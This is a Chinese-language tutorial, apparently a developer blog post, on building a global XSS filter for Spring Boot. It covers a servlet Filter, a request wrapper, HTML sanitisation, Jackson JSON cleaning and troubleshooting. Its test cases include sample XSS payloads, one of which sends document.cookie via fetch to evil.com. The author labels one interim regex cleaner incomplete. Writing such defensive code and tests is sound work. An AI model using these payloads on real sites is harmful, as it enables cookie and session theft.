
1. 项目概述为什么Spring Boot项目必须重视XSS防御如果你正在开发一个Spring Boot应用无论是电商、社交还是企业内部系统只要涉及到用户输入和内容展示XSS跨站脚本攻击就是一个绕不开的安全话题。我见过太多项目功能做得花里胡哨却在安全上“裸奔”一个简单的留言板就能让攻击者轻松盗走用户Cookie甚至劫持整个会话。这绝不是危言耸听而是每天都在真实发生的安全事件。XSS攻击的本质是攻击者将恶意脚本代码“注入”到你的网页中当其他用户浏览时这些脚本就会被浏览器执行。想象一下你的网站评论区用户A发了一条看似普通的评论但里面藏了一段JavaScript。用户B点开这条评论他的登录凭证Cookie就被悄无声息地发送到了攻击者的服务器。这就是反射型XSS。更隐蔽的是存储型XSS恶意脚本被直接存进了你的数据库每一个访问相关页面的用户都会中招。Spring Boot本身提供了强大的开发便利性但它并没有为你内置一个“傻瓜式”的XSS防火墙。安全是需要你主动去构建的。网上有很多零散的方案比如在Controller里对每个参数手动转义或者用AOP切面处理但这些方案要么太繁琐容易遗漏要么性能有损耗要么对JSON格式的RequestBody支持不好。因此一个依赖集成式的防御方案就显得尤为重要。所谓“依赖集成”我的理解是它应该像Spring Boot生态里的其他Starter一样通过引入依赖和简单配置就能无侵入、全局性地为你的Web应用穿上“防弹衣”。它需要能同时处理传统的keyvalue表单参数、multipart/form-data文件上传以及现在最主流的application/json请求体并且要足够灵活能让你排除某些不需要过滤的接口比如富文本编辑器提交的内容。接下来我就结合自己多次“踩坑”和实战的经验带你从零构建一个这样的完整防御体系。2. 核心防御思路与方案选型在动手写代码之前我们必须先理清防御思路。XSS防御的核心原则是“对不可信的数据进行输出编码”。但“输出编码”这个动作发生在哪里直接决定了方案的优雅度和可靠性。2.1 常见方案对比与陷阱方案一在业务逻辑层手动转义这是最原始的方法。在Controller或Service层拿到用户输入的String name后调用StringEscapeUtils.escapeHtml4(name)再使用或存储。PostMapping(/submit) public String submit(String content) { // 每个参数都要手动处理极易遗漏 String safeContent HtmlUtils.htmlEscape(content); // ... 后续逻辑 return success; }致命缺陷 开发人员极易遗忘。只要有一个接口漏了整个防御就形同虚设。而且它污染了业务代码让核心逻辑和安全逻辑耦合在一起。方案二使用AOP对Controller方法进行拦截通过自定义注解和AOP在方法执行前对参数进行转义。Around(annotation(antiXss)) public Object around(ProceedingJoinPoint joinPoint) throws Throwable { Object[] args joinPoint.getArgs(); // 遍历args对String类型参数进行转义 // ... return joinPoint.proceed(args); }主要问题 1. 对RequestBody绑定的复杂对象JSON处理起来很麻烦需要递归遍历对象的所有字段。2. 性能开销相对较大因为涉及反射和对象拷贝。3. 同样需要开发人员记得为每个Controller方法添加注解。方案三在视图层如Thymeleaf、JSP输出时转义这是最符合“输出编码”原则的位置。Spring MVC的模板引擎默认会对表达式进行HTML转义例如Thymeleaf的th:text。局限性 这只保护了通过模板引擎渲染的页面。如果你的接口是纯API返回JSON或者你在JS中动态拼接HTMLinnerHTML这层防护就失效了。现代前后端分离架构下此方案覆盖面不足。方案四使用HttpServletRequestWrapper定制过滤器Filter这是本文推荐的核心方案。它的原理是在请求到达Controller之前通过一个Filter拦截请求用一个自定义的HttpServletRequestWrapper包装原始的HttpServletRequest。在这个包装类里重写getParameter,getParameterValues,getHeader,getInputStream等方法在这些方法返回数据给应用之前对数据进行清洗和转义。为什么这是最佳实践全局性与无侵入性 配置一次对所有接口生效业务代码零修改。位置靠前 在请求刚进入应用时就进行处理符合安全上“边界防御”的理念。灵活度高 可以轻松区分不同内容类型表单、JSON做不同处理也可以配置URL排除规则。性能可控 只对需要处理的请求进行过滤且逻辑集中在过滤器层效率较高。2.2 我们的方案架构设计我们将采用“自定义Filter HttpServletRequestWrapper 可配置化规则”的架构。整个数据流如下请求入口 HTTP请求到达Tomcat等Servlet容器。过滤器拦截 我们注册的XssFilter开始工作。请求包装XssFilter创建XssHttpServletRequestWrapper实例包装原始Request。数据清洗对于application/x-www-form-urlencoded或multipart/form-data 重写getParameter()等方法在返回值前进行转义。对于application/json 重写getInputStream()方法读取整个请求体字符串进行转义后再提供一个“干净”的InputStream。链式传递 将包装后的XssHttpServletRequestWrapper对象传递给后续的Filter和最终的DispatcherServlet。业务处理 Controller拿到的所有参数都已经是经过清洗的“安全数据”。响应输出 业务逻辑处理完毕返回响应。注意 此方案主要防御存储型和反射型XSS。对于基于DOM的XSS需要在前端JS输出数据到HTML时进行编码这部分需要前后端协同。这个架构的关键在于我们篡改了数据源。Spring MVC的参数解析器如RequestParamMethodArgumentResolver、RequestBodyMethodArgumentResolver是从HttpServletRequest对象里获取数据的。当我们提供了重写后的方法它们拿到手的就是处理过的数据整个过程对业务框架透明。3. 核心组件实现与深度解析理论清晰后我们开始动手实现。我会先给出完整代码然后对关键细节进行“庖丁解牛”式的分析。3.1 核心一HTML过滤引擎HTMLFilter这是防御的“心脏”负责将危险的HTML标签和属性过滤掉或进行转义。网上有很多现成的库比如org.owasp.encoder:encoder、org.jsoup:jsoup。但为了彻底理解原理和实现高度定制我们参考OWASP ESAPI的思想自己实现一个轻量级但功能完备的HTMLFilter。这个类较长但逻辑清晰。它维护了几个核心列表vAllowed 允许保留的HTML标签及其属性白名单。例如我们可能允许a标签但只允许它有href和target属性。vSelfClosingTags 自闭合标签如img /。vDisallowed 明确禁止的标签黑名单。vAllowedProtocols 允许的URL协议如http、https、mailto防止javascript:伪协议攻击。vAllowedEntities 允许的HTML实体如amp;,lt;。它的主入口方法是filter(final String input)处理流程如下escapeComments(s): 处理HTML注释!-- --默认将其内容转义而非删除防止注释中藏匿脚本。balanceHTML(s): 尝试平衡标签。如果配置alwaysMakeTagstrue它会尝试修复未闭合的标签如btext补全为btext/b。安全实践中通常将此设为false直接转义尖括号更安全。checkTags(s): 最核心的步骤。用正则表达式P_TAGS匹配所有...内容交给processTag方法处理。processTag(String s): 判断是开始标签、结束标签还是注释。对于开始标签检查标签名是否在白名单内然后遍历其属性检查属性名是否被允许并对src、href这类属性值进行协议检查processParamProtocol。processRemoveBlanks(s): 移除空标签如b/b。实操心得关于转义与过滤的抉择这里有一个关键设计选择是过滤掉非法标签还是转义整个内容HTMLFilter采用的是“过滤”策略即只允许白名单内的标签通过。这对于需要保留部分HTML格式如富文本编辑器的场景是必要的。但对于绝大多数API接口用户输入本就不该包含HTML更安全的做法是直接转义即将、、、、等字符转换为HTML实体lt;、gt;、amp;、quot;、#39;。这样即使用户输入了scriptalert(1)/script存储和展示的也是纯文本彻底杜绝了执行的可能。我们的方案将提供EscapeUtil.clean()过滤和EscapeUtil.escape()转义两种方式并在Wrapper中默认使用更严格的clean()。3.2 核心二请求包装器XssHttpServletRequestWrapper这个类是连接Filter和Spring MVC的桥梁。它继承了HttpServletRequestWrapper并重写了关键的数据获取方法。public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return cleanXss(value); // 清洗单个参数 } Override public String[] getParameterValues(String name) { String[] values super.getParameterValues(name); if (values null) return null; String[] escapedValues new String[values.length]; for (int i 0; i values.length; i) { escapedValues[i] cleanXss(values[i]); } return escapedValues; } Override public MapString, String[] getParameterMap() { MapString, String[] parameterMap super.getParameterMap(); MapString, String[] escapedMap new LinkedHashMap(); for (Map.EntryString, String[] entry : parameterMap.entrySet()) { String[] values entry.getValue(); String[] escapedValues new String[values.length]; for (int i 0; i values.length; i) { escapedValues[i] cleanXss(values[i]); } escapedMap.put(entry.getKey(), escapedValues); } return escapedMap; } Override public String getHeader(String name) { String value super.getHeader(name); return cleanXss(value); // 注意对部分Header也需清洗如User-Agent在某些场景下可能被输出 } Override public ServletInputStream getInputStream() throws IOException { // 【关键】处理JSON请求体 if (!isJsonRequest()) { return super.getInputStream(); } String jsonStr IOUtils.toString(super.getInputStream(), StandardCharsets.UTF_8); if (StringUtils.isEmpty(jsonStr)) { return super.getInputStream(); } // 清洗JSON字符串 String cleanJsonStr cleanJsonXss(jsonStr); ByteArrayInputStream bis new ByteArrayInputStream(cleanJsonStr.getBytes(StandardCharsets.UTF_8)); return new ServletInputStream() { // ... 实现 read, isFinished, isReady, setReadListener 等方法 Override public int read() { return bis.read(); } // 其他方法返回适当值 }; } private boolean isJsonRequest() { String contentType getHeader(HttpHeaders.CONTENT_TYPE); return contentType ! null contentType.toLowerCase().startsWith(MediaType.APPLICATION_JSON_VALUE); } private String cleanXss(String value) { if (StringUtils.isEmpty(value)) return value; // 使用HTMLFilter过滤或直接进行HTML转义 return EscapeUtil.clean(value); // 或者 HtmlUtils.htmlEscape(value) } private String cleanJsonXss(String jsonStr) { // JSON清洗更复杂不能直接转义整个字符串会破坏JSON结构。 // 需要解析JSON只对字符串类型的值进行清洗。 // 这里可以使用Jackson/ObjectMapper解析成JsonNode遍历处理。 // 为简化示例我们先使用一种激进但可能破坏JSON的方式仅处理明显威胁。 // 生产环境建议使用完整的JSON感知清洗。 return jsonStr.replaceAll((?i)script, lt;script) .replaceAll((?i)/script, lt;/scriptgt;) .replaceAll(javascript:, java-script:); // 警告此方法不完善仅作演示。下文会给出完整方案。 } }深度解析与避坑指南getInputStream()的陷阱重写getInputStream()是处理RequestBodyJSON请求的关键但这里有几个大坑流只能读一次HttpServletRequest的输入流默认只能读取一次。我们在getInputStream()里读了Controller的RequestBody就没得读了。所以我们必须把读取后的“干净”数据重新包装成一个新的ByteArrayInputStream返回。字符编码 必须使用正确的字符集通常是UTF-8读取和转换否则会乱码。JSON结构破坏这是最容易出错的地方你不能简单地对整个JSON字符串调用htmlEscape。例如用户输入是{name: scriptalert(1)/script}如果你转义了整个字符串会得到{quot;namequot;: quot;lt;scriptgt;alert(1)lt;/scriptgt;quot;}这成了一个无效的JSON反序列化会失败。正确的做法是解析JSON树只对叶子节点的字符串值进行转义。这需要集成Jackson库。3.3 核心三过滤器本体XssFilter与配置过滤器负责组织逻辑决定哪些请求需要被过滤。Slf4j public class XssFilter implements Filter { private ListString excludes new ArrayList(); // 排除的URL模式 private boolean enabled true; // 过滤开关 Override public void init(FilterConfig filterConfig) { String excludeUrls filterConfig.getInitParameter(excludes); if (StringUtils.isNotBlank(excludeUrls)) { excludes Arrays.asList(excludeUrls.split(,)); } String enabledStr filterConfig.getInitParameter(enabled); if (StringUtils.isNotBlank(enabledStr)) { enabled Boolean.parseBoolean(enabledStr); } } Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (!enabled) { chain.doFilter(request, response); return; } HttpServletRequest req (HttpServletRequest) request; HttpServletResponse resp (HttpServletResponse) response; // 检查请求是否在排除列表中 if (isExcludeUrl(req.getRequestURI())) { chain.doFilter(request, response); return; } // 包装请求 XssHttpServletRequestWrapper xssRequest new XssHttpServletRequestWrapper(req); chain.doFilter(xssRequest, response); } private boolean isExcludeUrl(String url) { if (excludes.isEmpty()) return false; for (String pattern : excludes) { // 使用Spring的AntPathMatcher进行路径匹配 AntPathMatcher matcher new AntPathMatcher(); if (matcher.match(pattern.trim(), url)) { return true; } } return false; } }为了让过滤器生效我们需要在Spring Boot配置中注册它。这里使用FilterRegistrationBean它可以提供更灵活的配置顺序、URL模式、初始化参数。Configuration ConditionalOnProperty(name security.xss.enabled, havingValue true, matchIfMissing true) public class XssFilterAutoConfiguration { Value(${security.xss.excludes:/api/rich-text/**}) private String excludes; Value(${security.xss.url-patterns:/*}) private String urlPatterns; Bean public FilterRegistrationBeanXssFilter xssFilterRegistration() { FilterRegistrationBeanXssFilter registration new FilterRegistrationBean(); registration.setFilter(new XssFilter()); registration.addUrlPatterns(urlPatterns.split(,)); registration.setName(xssFilter); registration.setOrder(Ordered.HIGHEST_PRECEDENCE 10); // 设置较高优先级 MapString, String initParameters new HashMap(); initParameters.put(excludes, excludes); initParameters.put(enabled, true); registration.setInitParameters(initParameters); return registration; } }对应的application.yml配置security: xss: enabled: true # 总开关 excludes: /api/rich-text/**, /actuator/health # 排除的URL模式支持Ant风格 url-patterns: /* # 过滤的URL模式配置经验谈过滤器的顺序与排除项顺序Order XSS过滤器应该在Spring Security过滤器链之后、业务逻辑之前。Ordered.HIGHEST_PRECEDENCE的值是Integer.MIN_VALUE我们在此基础上加10确保它在Spring Security认证授权之后执行避免干扰登录等流程。排除项Excludes必须为富文本编辑器等接口设置排除项用户提交的富文本内容本身包含合法的HTML标签如p、img如果被过滤或转义内容就损坏了。富文本的安全应在编辑器前端白名单过滤和存储后展示时使用安全的HTML渲染库如JSoup的safelist来保证而不是在全局请求过滤层。4. 高级话题JSON请求体的精准清洗前面提到粗暴地转义整个JSON字符串会破坏结构。我们需要一个JSON感知的清洗策略。这里提供两种生产级方案。4.1 方案一基于Jackson的定制反序列化器这是更优雅、与Spring MVC集成度更高的方案。我们自定义一个Jackson的JsonDeserializer在反序列化过程中对字符串值进行清洗。public class XssStringJsonDeserializer extends JsonDeserializerString { Override public String deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { // 获取原始的字符串值 String value p.getValueAsString(); if (value null) { return null; } // 进行XSS清洗 return EscapeUtil.clean(value); } }然后我们需要将这个反序列化器注册到Spring Boot默认的ObjectMapper中。可以创建一个配置类Configuration public class JacksonXssConfig { Bean Primary // 声明为主要Bean覆盖默认的ObjectMapper public ObjectMapper xssObjectMapper() { ObjectMapper objectMapper new ObjectMapper(); SimpleModule module new SimpleModule(); // 为String类型注册自定义反序列化器 module.addDeserializer(String.class, new XssStringJsonDeserializer()); objectMapper.registerModule(module); // 保持其他配置如日期格式 objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); return objectMapper; } }这个方案的好处是它直接作用于Jackson的反序列化过程对所有使用RequestBody的接口自动生效且不会干扰非字符串类型的字段。但它的缺点是无法处理非JSON格式的请求且配置略复杂。4.2 方案二在Wrapper中集成JSON解析清洗我们改进之前的XssHttpServletRequestWrapper.getInputStream()方法实现一个完整的JSON清洗逻辑。private String cleanJsonXss(String jsonStr) throws IOException { ObjectMapper objectMapper new ObjectMapper(); JsonNode rootNode objectMapper.readTree(jsonStr); cleanJsonNode(rootNode); return objectMapper.writeValueAsString(rootNode); } private void cleanJsonNode(JsonNode node) { if (node.isObject()) { ObjectNode objectNode (ObjectNode) node; IteratorMap.EntryString, JsonNode fields objectNode.fields(); while (fields.hasNext()) { Map.EntryString, JsonNode entry fields.next(); JsonNode valueNode entry.getValue(); if (valueNode.isTextual()) { // 只清洗文本节点 String cleanedValue EscapeUtil.clean(valueNode.asText()); objectNode.put(entry.getKey(), cleanedValue); } else if (valueNode.isContainerNode()) { // 递归处理对象或数组 cleanJsonNode(valueNode); } } } else if (node.isArray()) { ArrayNode arrayNode (ArrayNode) node; for (int i 0; i arrayNode.size(); i) { JsonNode elementNode arrayNode.get(i); if (elementNode.isTextual()) { String cleanedValue EscapeUtil.clean(elementNode.asText()); arrayNode.set(i, cleanedValue); } else if (elementNode.isContainerNode()) { cleanJsonNode(elementNode); } } } // 其他类型数字、布尔等无需处理 }在getInputStream()中我们调用cleanJsonXss()来处理JSON字符串。这个方法递归遍历JSON树精准地清洗所有字符串值完美保持了JSON结构。性能考量 每次JSON请求都进行完整的解析和序列化会有性能开销。对于高性能场景可以考虑以下优化使用更快的JSON库如Jackson Afterburner模块。引入缓存对清洗后的JSON字符串进行缓存需注意请求体的唯一性通常不适用。最重要的 通过excludes配置将不需要过滤的高频、可信接口排除在外。5. 实战测试、常见问题与排查指南理论实现完毕必须经过严格测试。我们编写一个测试Controller来验证效果。5.1 测试Controller与用例设计RestController RequestMapping(/api/test) Slf4j public class XssTestController { // 测试1普通表单参数 PostMapping(/form) public String testForm(RequestParam String name, RequestParam String comment) { log.info(接收参数 - name: {}, comment: {}, name, comment); // 直接返回看响应是否被转义 return String.format(Name: %s, Comment: %s, name, comment); } // 测试2JSON请求体 PostMapping(/json) public UserDto testJson(RequestBody UserDto user) { log.info(接收用户 - username: {}, email: {}, user.getUsername(), user.getEmail()); return user; // 返回对象观察序列化后的JSON } // 测试3排除接口模拟富文本提交 PostMapping(/rich-text) public String testRichText(RequestBody RichTextDto richText) { log.info(接收富文本 - title: {}, content: {}, richText.getTitle(), richText.getContent()); // 这里的内容应包含原始HTML标签 return success; } Data public static class UserDto { private String username; private String email; private String bio; // 个人简介可能包含脚本 } Data public static class RichTextDto { private String title; private String content; // 富文本HTML内容 } }使用Postman或CURL进行测试用例1反射型XSS攻击POST /api/test/form Content-Type: application/x-www-form-urlencoded nameJohncommentscriptalert(xss)/scriptimg srcx onerroralert(1)预期结果 日志和返回内容中的comment值应该是被转义或过滤后的文本如lt;scriptgt;alert(xss)lt;/scriptgt;或直接是空字符串取决于HTMLFilter配置浏览器不会弹出警告。用例2JSON格式攻击POST /api/test/json Content-Type: application/json { username: hacker, email: testexample.com, bio: scriptfetch(https://evil.com/steal?cookiedocument.cookie)/script }预期结果 接收到的bio字段值中的尖括号等字符被转义返回的JSON中同样是转义后的文本。用例3排除接口验证POST /api/test/rich-text Content-Type: application/json { title: My Article, content: pThis is a strongsafe/strong HTML content with a a href\/link\link/a./p }预期结果content字段的HTML标签被完整保留未被过滤。5.2 常见问题排查表在实际集成中你可能会遇到以下问题。这里提供一个快速排查指南。问题现象可能原因排查步骤与解决方案过滤器不生效恶意脚本原样存入数据库。1. 过滤器未正确注册或URL模式不匹配。2. 请求绕过过滤器如直接访问静态资源。3. 数据来自其他入口如消息队列、定时任务。1. 检查FilterRegistrationBean的urlPatterns确保包含你的API路径如/*。2. 在XssFilter.doFilter入口打日志确认请求是否经过。3. 确保所有用户输入入口都经过清洗包括非HTTP接口。处理JSON请求后Spring MVC报HttpMessageNotReadableException(JSON解析错误)。XssHttpServletRequestWrapper.getInputStream()中的JSON清洗逻辑破坏了JSON结构。1. 检查cleanJsonXss方法确保只转义字符串值而不是整个JSON。2. 在清洗前后打印JSON字符串对比差异。3. 使用方案二的完整JSON树遍历方法。富文本编辑器提交的内容被破坏HTML标签丢失。该接口URL未被正确排除在过滤规则之外。1. 检查security.xss.excludes配置确保路径匹配。2. 确认AntPathMatcher的匹配逻辑/api/rich-text/**能匹配/api/rich-text/submit。3. 在isExcludeUrl方法中添加调试日志。性能下降特别是处理大型JSON请求时。JSON解析/序列化开销大。1. 使用性能分析工具如Arthas定位瓶颈。2. 考虑对已知安全的大请求体接口添加排除规则。3. 评估是否可改用更轻量的过滤策略如仅过滤关键字段。获取到的参数值为null。在getParameter()等重写方法中对null值直接调用了清洗方法或清洗方法返回了null。在重写的方法中增加空值判断if (value null) return null;。文件上传MultipartFile的filename或文本字段被错误过滤。multipart/form-data请求的解析发生在过滤器之前由MultipartResolver处理包装器可能无法直接获取到这些参数。1. Spring Boot下文件上传请求通常由StandardServletMultipartResolver处理它直接从HttpServletRequest获取部件。我们的包装器可能需要在getPart()或getParts()方法上也进行重写但这比较复杂。2.更实际的方案在接收文件的Controller方法中对MultipartFile的原始文件名(getOriginalFilename)进行单独的XSS检查因为文件名也可能被注入。5.3 我踩过的坑编码与字符集这是一个非常隐蔽的坑。有一次过滤功能在测试环境正常上了生产环境用户输入的中文全部变成了乱码。排查后发现是因为在getInputStream()方法中读取流时没有指定字符集而Tomcat容器的默认编码可能与应用编码UTF-8不一致。解决方案 始终显式指定字符集。String jsonStr IOUtils.toString(super.getInputStream(), StandardCharsets.UTF_8); // 以及 byte[] cleanJsonBytes cleanJsonStr.getBytes(StandardCharsets.UTF_8);另一个相关问题是如果你的应用还需要处理GBK等编码情况会更复杂。这时最好从请求头Content-Type中提取charset信息或者统一在Filter层通过request.setCharacterEncoding(UTF-8)强制设定请求编码。6. 防御的局限性与纵深防御体系没有任何单一方案是银弹。我们的依赖集成式XSS过滤器是一个强大的基础层防御但它有局限性DOM型XSS 这种XSS发生在客户端JavaScript执行时例如document.write(location.hash)恶意代码来自URL片段或前端JS操作不经过服务器。过滤器对此无能为力。防御需要在前端对输出到HTML如innerHTML、document.write的数据进行编码。输出上下文多样性 数据可能输出到HTML属性、JavaScript代码块、CSS、URL等不同上下文。我们的HTML实体转义只对HTML正文有效。输出到script标签内或事件属性如onclick需要不同的编码规则。富文本内容 如前所述需要豁免并配合专门的富文本安全策略。因此必须建立纵深防御体系前端 对用户输入进行初步校验和提示在输出到不同上下文时使用对应的编码函数如Vue/React的模板默认转义原生JS可使用textContent替代innerHTML。后端本方案 在入口处进行严格的输入过滤和转义作为核心防线。存储层 虽然存储了转义后的数据但观念上仍应视数据库中的数据为“不可信”。输出层 根据最终的输出目标HTML、JSON、PDF在渲染前进行最后一次上下文相关的编码。对于API确保Content-Type: application/json避免浏览器误解为HTML。HTTP安全头 设置Content-Security-Policy (CSP)头是防御XSS的终极利器。它可以告诉浏览器只执行来自特定来源的脚本从根本上杜绝内联脚本和未经授权的外部脚本执行。即使攻击者成功注入了脚本也会被浏览器阻止。最后安全是一个持续的过程。这个过滤器需要纳入你的自动化测试包括单元测试和渗透测试定期更新HTML白名单和过滤规则以应对新型的XSS攻击变种。将这套方案打包成一个公司内部的spring-boot-starter-xss就能在所有的Spring Boot项目中轻松集成统一提升整个技术栈的安全基线。